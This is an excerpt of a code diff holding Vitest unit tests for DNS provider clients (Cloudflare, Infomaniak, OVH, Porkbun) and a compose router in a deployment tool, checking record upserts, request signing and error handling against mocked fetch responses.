}));
vi.mock("@/server/queues/queueSetup", () => ({
cleanQueuesByCompose: vi.fn(),
killDockerBuild: vi.fn(),
myQueue: {
add: vi.fn(),
},
}));
const { composeRouter } = await import("@/server/api/routers/compose");
const caller = composeRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof composeRouter.createCaller>[0]);
describe("saving a compose provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(["done", "running"])(
"keeps the %s status when disconnecting a Git provider",
async (status) => {
let savedStatus = status;
mockUpdateCompose.mockImplementation(async (_id, update) => {
if (update.composeStatus !== undefined) {
savedStatus = update.composeStatus;
}
});
await caller.disconnectGitProvider({ composeId: "compose-1" });
expect(savedStatus).toBe(status);
expect(mockUpdateCompose).toHaveBeenCalledTimes(1);
expect(mockUpdateCompose).toHaveBeenCalledWith(
"compose-1",
expect.objectContaining({ sourceType: "github" }),
);
},
);
});
+23 -2
View File
@@ -323,9 +323,11 @@ describe("cloudflareClient.upsertRecord", () => {
expect(createInit.method).toBe("POST");
});
it("updates the existing record instead of creating a duplicate", async () => {
it("updates the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
.mockResolvedValueOnce(
cfSuccess([{ id: "existing-1", type: "A", content: "5.6.7.8" }]),
)
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
const result = await cloudflareClient.upsertRecord(config, {
@@ -344,6 +346,25 @@ describe("cloudflareClient.upsertRecord", () => {
expect(updateInit.method).toBe("PUT");
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
cfSuccess([{ id: "existing-1", type: "A", content: "1.1.1.1" }]),
)
.mockResolvedValueOnce(cfSuccess({ id: "new-2" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "new-2" });
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(createInit.method).toBe("POST");
});
it("defaults ttl to 1 (automatic) when not provided", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
@@ -0,0 +1,486 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { infomaniakClient } from "@dokploy/server/utils/dns/infomaniak";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const ikSuccess = (data: unknown) => jsonResponse({ result: "success", data });
const ikPage = (data: unknown, page: number, pages: number) =>
jsonResponse({ result: "success", data, page, pages });
const ikError = (description: string, status = 400) =>
jsonResponse(
{ result: "error", error: { code: "not_authorized", description } },
false,
status,
);
const config = {
providerType: "infomaniak" as const,
apiToken: "ik_test_token",
};
const lastCall = () =>
mockFetch.mock.calls.at(-1) as [string, RequestInit & { method?: string }];
const lastBody = () => JSON.parse(lastCall()[1].body as string);
beforeEach(() => {
mockFetch.mockReset();
});
describe("infomaniakClient.listZones", () => {
it("exposes each domain product as a zone keyed by its name", async () => {
mockFetch.mockResolvedValue(
ikPage(
[
{ id: 1, customer_name: "example.com" },
{ id: 2, customer_name: "example.ch" },
],
1,
1,
),
);
const zones = await infomaniakClient.listZones(config);
expect(zones).toEqual([
{ id: "example.com", name: "example.com" },
{ id: "example.ch", name: "example.ch" },
]);
const [url, init] = lastCall();
// The documented endpoint is the plural one; the singular is legacy and
// returns no pagination metadata at all.
expect(url).toContain("/1/products?service_name=domain");
expect(url).toContain("page=1");
expect(init.headers).toMatchObject({
Authorization: "Bearer ik_test_token",
});
});
it("walks every page so accounts with many domains keep all their zones", async () => {
mockFetch
.mockResolvedValueOnce(ikPage([{ id: 1, customer_name: "a.com" }], 1, 3))
.mockResolvedValueOnce(ikPage([{ id: 2, customer_name: "b.com" }], 2, 3))
.mockResolvedValueOnce(ikPage([{ id: 3, customer_name: "c.com" }], 3, 3));
const zones = await infomaniakClient.listZones(config);
expect(zones.map((zone) => zone.name)).toEqual(["a.com", "b.com", "c.com"]);
expect(mockFetch).toHaveBeenCalledTimes(3);
expect((mockFetch.mock.calls[2] as [string])[0]).toContain("page=3");
});
it("stops after a single page when the response has no pagination", async () => {
mockFetch.mockResolvedValue(ikSuccess([{ id: 1, customer_name: "a.com" }]));
const zones = await infomaniakClient.listZones(config);
expect(zones).toEqual([{ id: "a.com", name: "a.com" }]);
expect(mockFetch).toHaveBeenCalledTimes(1);
});
it("propagates the API error description", async () => {
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
await expect(infomaniakClient.listZones(config)).rejects.toThrow(
"Authorization required",
);
});
});
describe("infomaniakClient.listRecords", () => {
it("rebuilds the fqdn from the relative source", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{ id: 10, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
{ id: 11, type: "A", source: "", target: "5.6.7.8", ttl: 600 },
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records).toEqual([
{
id: "10",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
},
{
id: "11",
type: "A",
name: "example.com",
content: "5.6.7.8",
ttl: 600,
},
]);
expect(lastCall()[0]).toBe(
"https://api.infomaniak.com/2/zones/example.com/records?with=records_description",
);
});
it.each([".", "", "@"])("treats a %s source as the apex", async (source) => {
mockFetch.mockResolvedValue(
ikSuccess([{ id: 12, type: "A", source, target: "1.2.3.4", ttl: 300 }]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.name).toBe("example.com");
});
it("unquotes TXT targets", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{
id: 13,
type: "TXT",
source: "_acme-challenge",
target: '"token-value"',
ttl: 300,
},
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.content).toBe("token-value");
});
it("leaves a CAA target untouched", async () => {
mockFetch.mockResolvedValue(
ikSuccess([
{
id: 14,
type: "CAA",
source: "",
target: '0 issue "letsencrypt.org"',
ttl: 300,
},
]),
);
const records = await infomaniakClient.listRecords(config, "example.com");
expect(records[0]?.content).toBe('0 issue "letsencrypt.org"');
});
});
describe("infomaniakClient.upsertRecord", () => {
it("creates the record when no matching source and type exists", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 42 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
});
expect(result).toEqual({ id: "42" });
const [url, init] = lastCall();
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
expect(init.method).toBe("POST");
expect(lastBody()).toEqual({
type: "A",
source: "app",
target: "1.2.3.4",
ttl: 600,
});
});
it("updates the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 7, type: "A", source: "app", target: "1.2.3.4", ttl: 300 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 7 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "7" });
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("PUT");
expect(lastBody().ttl).toBe(300);
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 7, type: "A", source: "app", target: "1.1.1.1", ttl: 300 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "50" });
const [url, init] = lastCall();
expect(url).toBe("https://api.infomaniak.com/2/zones/example.com/records");
expect(init.method).toBe("POST");
});
it("writes a root dot as the source for an apex record and strips the trailing dot", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 43 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com.",
content: "1.2.3.4",
});
expect(lastBody().source).toBe(".");
});
it.each([".", "", "@"])(
"matches an existing apex record stored with a %s source",
async (source) => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{ id: 8, type: "A", source, target: "1.2.3.4", ttl: 3600 },
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "8" });
expect(lastCall()[1].method).toBe("PUT");
},
);
it("matches the existing apex record instead of creating a duplicate", async () => {
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{
id: 8,
type: "TXT",
source: ".",
target: '"v=spf1 -all"',
ttl: 3600,
},
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 8 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "example.com",
content: "v=spf1 -all",
});
expect(result).toEqual({ id: "8" });
const [url, init] = lastCall();
expect(init.method).toBe("PUT");
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/8",
);
expect(lastBody().target).toBe('"v=spf1 -all"');
});
it("quotes a TXT target on write", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 44 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "_acme-challenge.example.com",
content: "token-value",
});
expect(lastBody().target).toBe('"token-value"');
});
it("does not double-quote a TXT target that is already quoted", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 45 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "TXT",
name: "_acme-challenge.example.com",
content: '"token-value"',
});
expect(lastBody().target).toBe('"token-value"');
});
it("queries the API with a source and type filter instead of the whole zone", async () => {
mockFetch
.mockResolvedValueOnce(ikSuccess([]))
.mockResolvedValueOnce(ikSuccess({ id: 50 }));
await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("filter%5Bsource%5D=app");
expect(url).toContain("filter%5Btypes%5D%5B%5D=A");
});
it("ignores a partial filter hit rather than overwriting a different record", async () => {
// filter[source] matches substrings: asking for "auto" also returns
// "autoconfig" and "autodiscover". Trusting it would overwrite one of them.
mockFetch
.mockResolvedValueOnce(
ikSuccess([
{
id: 61,
type: "CNAME",
source: "autoconfig",
target: "a.example.net",
ttl: 300,
},
{
id: 62,
type: "CNAME",
source: "autodiscover",
target: "b.example.net",
ttl: 300,
},
]),
)
.mockResolvedValueOnce(ikSuccess({ id: 63 }));
const result = await infomaniakClient.upsertRecord(config, {
zoneId: "example.com",
type: "CNAME",
name: "auto.example.com",
content: "c.example.net",
});
expect(result).toEqual({ id: "63" });
expect(lastCall()[1].method).toBe("POST");
});
});
describe("infomaniakClient.updateRecord", () => {
it("updates the record and keeps its id", async () => {
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
const result = await infomaniakClient.updateRecord(
config,
"example.com",
"7",
{
type: "CNAME",
name: "www.example.com",
content: "example.com",
ttl: 900,
},
);
expect(result).toEqual({ id: "7" });
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("PUT");
expect(lastBody()).toEqual({
type: "CNAME",
source: "www",
target: "example.com",
ttl: 900,
});
});
it("falls back to the default ttl when none is provided", async () => {
mockFetch.mockResolvedValue(ikSuccess({ id: 7 }));
await infomaniakClient.updateRecord(config, "example.com", "7", {
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(lastBody().ttl).toBe(300);
});
});
describe("infomaniakClient.deleteRecord", () => {
it("deletes the record", async () => {
mockFetch.mockResolvedValue(ikSuccess(null));
await infomaniakClient.deleteRecord(config, "example.com", "7");
const [url, init] = lastCall();
expect(url).toBe(
"https://api.infomaniak.com/2/zones/example.com/records/7",
);
expect(init.method).toBe("DELETE");
});
it("propagates a delete failure", async () => {
mockFetch.mockResolvedValue(ikError("Record not found", 404));
await expect(
infomaniakClient.deleteRecord(config, "example.com", "7"),
).rejects.toThrow("Record not found");
});
});
describe("infomaniakClient.testConnection", () => {
it("resolves when the domain listing succeeds", async () => {
mockFetch.mockResolvedValue(ikSuccess([]));
await expect(
infomaniakClient.testConnection(config),
).resolves.toBeUndefined();
});
it("rejects on an invalid token", async () => {
mockFetch.mockResolvedValue(ikError("Authorization required", 401));
await expect(infomaniakClient.testConnection(config)).rejects.toThrow(
"Infomaniak: request to /1/products?service_name=domain&per_page=1 failed: Authorization required",
);
});
});
+642
View File
@@ -0,0 +1,642 @@
import { createHash } from "node:crypto";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { ovhClient } from "@dokploy/server/utils/dns/ovh";
const textResponse = (body: string, ok = true, status = 200) =>
({
ok,
status,
text: async () => body,
}) as Response;
const ovhSuccess = (data: unknown) =>
textResponse(data === undefined ? "" : JSON.stringify(data));
const ovhError = (message: string, status = 403) =>
textResponse(JSON.stringify({ message }), false, status);
const SERVER_TIME = 1788268225;
const config = {
providerType: "ovh" as const,
endpoint: "ovh-eu" as const,
applicationKey: "app-key",
applicationSecret: "app-secret",
consumerKey: "consumer-key",
};
// Each test uses a distinct endpoint so the module-level clock-skew cache, which
// is keyed by base url, never leaks a measurement between them.
let endpointCursor = 0;
const endpoints = [
"ovh-eu",
"ovh-ca",
"ovh-us",
"kimsufi-eu",
"kimsufi-ca",
"soyoustart-eu",
"soyoustart-ca",
] as const;
const baseUrls: Record<(typeof endpoints)[number], string> = {
"ovh-eu": "https://eu.api.ovh.com/1.0",
"ovh-ca": "https://ca.api.ovh.com/1.0",
"ovh-us": "https://api.us.ovhcloud.com/1.0",
"kimsufi-eu": "https://eu.api.kimsufi.com/1.0",
"kimsufi-ca": "https://ca.api.kimsufi.com/1.0",
"soyoustart-eu": "https://eu.api.soyoustart.com/1.0",
"soyoustart-ca": "https://ca.api.soyoustart.com/1.0",
};
/** A config on a not-yet-used endpoint, so the first call always fetches /auth/time. */
const freshConfig = () => {
const endpoint = endpoints[
endpointCursor % endpoints.length
] as (typeof endpoints)[number];
endpointCursor += 1;
return { ...config, endpoint, baseUrl: baseUrls[endpoint] };
};
/** Replies to /auth/time, then to each queued API response in order. */
const mockApi = (...responses: Response[]) => {
let call = 0;
mockFetch.mockImplementation((url: string) => {
if (url.endsWith("/auth/time")) {
return Promise.resolve(textResponse(String(SERVER_TIME)));
}
const response = responses[call];
call += 1;
return Promise.resolve(response ?? ovhSuccess(null));
});
};
const apiCalls = () =>
mockFetch.mock.calls.filter(
([url]) => !(url as string).endsWith("/auth/time"),
) as [string, RequestInit][];
beforeEach(() => {
mockFetch.mockReset();
});
describe("ovhClient request signing", () => {
it("signs the request with the API server clock, not the local one", async () => {
const { baseUrl, ...cfg } = freshConfig();
mockApi(ovhSuccess(["example.com"]));
vi.spyOn(Date, "now").mockReturnValue((SERVER_TIME - 120) * 1000);
await ovhClient.listZones(cfg);
const [url, init] = apiCalls()[0] as [string, RequestInit];
const headers = init.headers as Record<string, string>;
expect(url).toBe(`${baseUrl}/domain/zone`);
expect(headers["X-Ovh-Timestamp"]).toBe(String(SERVER_TIME));
expect(headers["X-Ovh-Application"]).toBe("app-key");
expect(headers["X-Ovh-Consumer"]).toBe("consumer-key");
const expected = createHash("sha1")
.update(
["app-secret", "consumer-key", "GET", url, "", SERVER_TIME].join("+"),
)
.digest("hex");
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
vi.restoreAllMocks();
});
it("signs a request body when one is sent", async () => {
const { baseUrl, ...cfg } = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 5 }), ovhSuccess(null));
vi.spyOn(Date, "now").mockReturnValue(SERVER_TIME * 1000);
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
const [url, init] = apiCalls()[1] as [string, RequestInit];
const headers = init.headers as Record<string, string>;
const body = init.body as string;
expect(body).not.toBe("");
const expected = createHash("sha1")
.update(
["app-secret", "consumer-key", "POST", url, body, SERVER_TIME].join(
"+",
),
)
.digest("hex");
expect(headers["X-Ovh-Signature"]).toBe(`$1$${expected}`);
vi.restoreAllMocks();
});
});
describe("ovhClient.listZones", () => {
it("maps each zone name to a zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess(["example.com", "example.fr"]));
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([
{ id: "example.com", name: "example.com" },
{ id: "example.fr", name: "example.fr" },
]);
});
it("names the missing root right when OVH refuses the zone listing", async () => {
const cfg = freshConfig();
mockApi(ovhError("This call has not been granted", 403));
// A `GET /domain/zone/*` rule does not cover the bare `GET /domain/zone`,
// so the raw OVH message would send users looking in the wrong place.
await expect(ovhClient.listZones(cfg)).rejects.toThrow(
/missing the `GET \/domain\/zone` right/,
);
});
it("propagates the API error message", async () => {
const cfg = freshConfig();
mockApi(ovhError("Invalid signature", 403));
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
});
it("returns only the configured zone without listing every zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
expect(apiCalls()).toHaveLength(0);
});
});
describe("ovhClient.listRecords", () => {
it("resolves each id into a full record", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([1, 2]),
ovhSuccess({
id: 1,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 600,
}),
ovhSuccess({
id: 2,
zone: "example.com",
fieldType: "A",
subDomain: null,
target: "5.6.7.8",
ttl: null,
}),
);
const records = await ovhClient.listRecords(cfg, "example.com");
expect(records).toEqual([
{
id: "1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
},
{
id: "2",
type: "A",
name: "example.com",
content: "5.6.7.8",
ttl: 0,
},
]);
});
it("keeps the records in the order of the returned ids", async () => {
const cfg = freshConfig();
const record = (id: number, subDomain: string) => ({
id,
zone: "example.com",
fieldType: "A",
subDomain,
target: `10.0.0.${id}`,
ttl: 60,
});
mockApi(
ovhSuccess([1, 2, 3, 4, 5]),
...[1, 2, 3, 4, 5].map((id) => ovhSuccess(record(id, `host${id}`))),
);
const records = await ovhClient.listRecords(cfg, "example.com");
expect(records.map((r) => r.id)).toEqual(["1", "2", "3", "4", "5"]);
});
});
describe("ovhClient.upsertRecord", () => {
it("creates the record then refreshes the zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 600,
});
expect(result).toEqual({ id: "9" });
const calls = apiCalls();
expect(calls[0]?.[0]).toContain(
"/domain/zone/example.com/record?fieldType=A&subDomain=app",
);
expect(calls[1]?.[1].method).toBe("POST");
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 600,
});
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/refresh");
expect(calls[2]?.[1].method).toBe("POST");
});
it("updates the existing record when content matches", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([4]),
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.2.3.4",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess(null),
);
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "4" });
const calls = apiCalls();
expect(calls[2]?.[0]).toContain("/domain/zone/example.com/record/4");
expect(calls[2]?.[1].method).toBe("PUT");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("creates a new record when content differs from existing", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess([4]),
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess({ id: 10 }),
ovhSuccess(null),
);
const result = await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "10" });
const calls = apiCalls();
expect(calls[2]?.[1].method).toBe("POST");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("omits the ttl so OVH applies the zone default", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(JSON.parse(apiCalls()[1]?.[1].body as string)).not.toHaveProperty(
"ttl",
);
});
it("writes an empty subDomain for the apex and strips the trailing dot", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]), ovhSuccess({ id: 9 }), ovhSuccess(null));
await ovhClient.upsertRecord(cfg, {
zoneId: "example.com",
type: "A",
name: "example.com.",
content: "1.2.3.4",
});
expect(apiCalls()[0]?.[0]).toContain("subDomain=");
expect(JSON.parse(apiCalls()[1]?.[1].body as string).subDomain).toBe("");
});
});
describe("ovhClient.updateRecord", () => {
it("updates in place when the type is unchanged", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess(null),
);
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
});
expect(result).toEqual({ id: "4" });
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("PUT");
expect(JSON.parse(calls[1]?.[1].body as string)).toEqual({
subDomain: "app",
target: "1.2.3.4",
ttl: 300,
});
expect(calls[2]?.[0]).toContain("/refresh");
});
it("replaces the record when the type changes, since PUT carries no fieldType", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess({ id: 11 }),
ovhSuccess(null),
);
const result = await ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "example.com",
});
expect(result).toEqual({ id: "11" });
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("DELETE");
expect(calls[2]?.[1].method).toBe("POST");
expect(JSON.parse(calls[2]?.[1].body as string).fieldType).toBe("CNAME");
expect(calls[3]?.[0]).toContain("/refresh");
});
it("restores the original record when the replacement fails", async () => {
const cfg = freshConfig();
const original = {
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
};
mockApi(
ovhSuccess(original),
ovhSuccess(null),
ovhError("Invalid target", 400),
ovhSuccess({ id: 12 }),
ovhSuccess(null),
);
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
}),
).rejects.toThrow("Invalid target");
const calls = apiCalls();
expect(calls[1]?.[1].method).toBe("DELETE");
expect(calls[2]?.[1].method).toBe("POST");
// The original record is put back with its own type, target and ttl.
expect(JSON.parse(calls[3]?.[1].body as string)).toEqual({
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
});
expect(calls[4]?.[0]).toContain("/refresh");
});
it("reports the lost record when the restore also fails", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhError("Invalid target", 400),
ovhError("Service unavailable", 503),
);
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
}),
).rejects.toThrow(
/Recreate it manually: A app\.example\.com -> 1\.1\.1\.1/,
);
});
it("says the change was applied when only the zone refresh fails", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null),
ovhSuccess({ id: 11 }),
ovhError("Service unavailable", 503),
);
// The replacement succeeded, so the record exists at the provider — only
// publishing failed. Rolling back would destroy correct state.
await expect(
ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "example.com",
}),
).rejects.toThrow(/was applied, but refreshing zone "example\.com" failed/);
});
it("does not tell the user to recreate a record that was restored but not published", async () => {
const cfg = freshConfig();
mockApi(
ovhSuccess({
id: 4,
zone: "example.com",
fieldType: "A",
subDomain: "app",
target: "1.1.1.1",
ttl: 60,
}),
ovhSuccess(null), // DELETE de l'ancien
ovhError("Invalid target", 400), // POST de remplacement -> échec
ovhSuccess({ id: 12 }), // POST de restauration -> succès
ovhError("Service unavailable", 503), // refresh -> échec
);
const attempt = ovhClient.updateRecord(cfg, "example.com", "4", {
type: "CNAME",
name: "app.example.com",
content: "not a valid target",
});
// L'enregistrement existe de nouveau chez OVH : le recréer le dupliquerait.
await expect(attempt).rejects.toThrow(/was restored, but refreshing zone/);
await expect(attempt).rejects.not.toThrow(/Recreate it manually/);
});
});
describe("ovhClient.deleteRecord", () => {
it("deletes the record then refreshes the zone", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess(null), ovhSuccess(null));
await ovhClient.deleteRecord(cfg, "example.com", "4");
const calls = apiCalls();
expect(calls[0]?.[0]).toContain("/domain/zone/example.com/record/4");
expect(calls[0]?.[1].method).toBe("DELETE");
expect(calls[1]?.[0]).toContain("/domain/zone/example.com/refresh");
});
it("does not refresh the zone when the delete fails", async () => {
const cfg = freshConfig();
mockApi(ovhError("This object does not exist", 404));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "4"),
).rejects.toThrow("This object does not exist");
expect(apiCalls()).toHaveLength(1);
});
});
describe("ovhClient.testConnection", () => {
it("resolves when the zone listing succeeds", async () => {
const cfg = freshConfig();
mockApi(ovhSuccess([]));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
});
it("rejects on invalid credentials", async () => {
const cfg = freshConfig();
mockApi(ovhError("Invalid signature", 403));
await expect(ovhClient.testConnection(cfg)).rejects.toThrow(
"Invalid signature",
);
});
it("checks the configured zone instead of listing all zones", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess({ name: "example.com" }));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
const calls = apiCalls();
expect(calls).toHaveLength(1);
expect(calls[0]?.[0]).toBe(`${cfg.baseUrl}/domain/zone/example.com`);
});
});
describe("ovhClient with a configured zone", () => {
const record = {
type: "A" as const,
name: "app.other.org",
content: "1.2.3.4",
};
it("refuses record operations on any other zone without calling OVH", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const message = /restricted to the zone "example.com"/;
await expect(ovhClient.listRecords(cfg, "other.org")).rejects.toThrow(
message,
);
await expect(
ovhClient.upsertRecord(cfg, { ...record, zoneId: "other.org" }),
).rejects.toThrow(message);
await expect(
ovhClient.updateRecord(cfg, "other.org", "1", record),
).rejects.toThrow(message);
await expect(ovhClient.deleteRecord(cfg, "other.org", "1")).rejects.toThrow(
message,
);
expect(apiCalls()).toHaveLength(0);
});
it("still allows operations on the configured zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess(null), ovhSuccess(null));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "1"),
).resolves.toBeUndefined();
expect(apiCalls()[0]?.[0]).toBe(
`${cfg.baseUrl}/domain/zone/example.com/record/1`,
);
});
});
+28 -2
View File
@@ -121,9 +121,11 @@ describe("porkbunClient.upsertRecord", () => {
expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/");
});
it("edits the existing record instead of creating a duplicate", async () => {
it("edits the existing record when content matches", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [{ id: "existing-1" }] }))
.mockResolvedValueOnce(
pbSuccess({ records: [{ id: "existing-1", content: "5.6.7.8" }] }),
)
.mockResolvedValueOnce(pbSuccess({}));
const result = await porkbunClient.upsertRecord(config, {
@@ -138,6 +140,30 @@ describe("porkbunClient.upsertRecord", () => {
expect(editUrl).toContain("/dns/edit/example.com/existing-1");
});
it("creates a new record when content differs from existing", async () => {
mockFetch
.mockResolvedValueOnce(
pbSuccess({ records: [{ id: "existing-1", content: "1.1.1.1" }] }),
)
.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
const result = await porkbunClient.upsertRecord(config, {
zoneId: "example.com",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "new-2" });
const [createUrl, createInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(createUrl).toContain("/dns/create/example.com");
const body = JSON.parse(createInit.body as string);
expect(body).toMatchObject({ name: "app", type: "A", content: "5.6.7.8" });
});
it("defaults ttl to 600 when not provided", async () => {
mockFetch
.mockResolvedValueOnce(pbSuccess({ records: [] }))
@@ -0,0 +1,149 @@
import os from "node:os";
import {
getServerIpCandidates,
validateDomain,
} from "@dokploy/server/services/domain";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
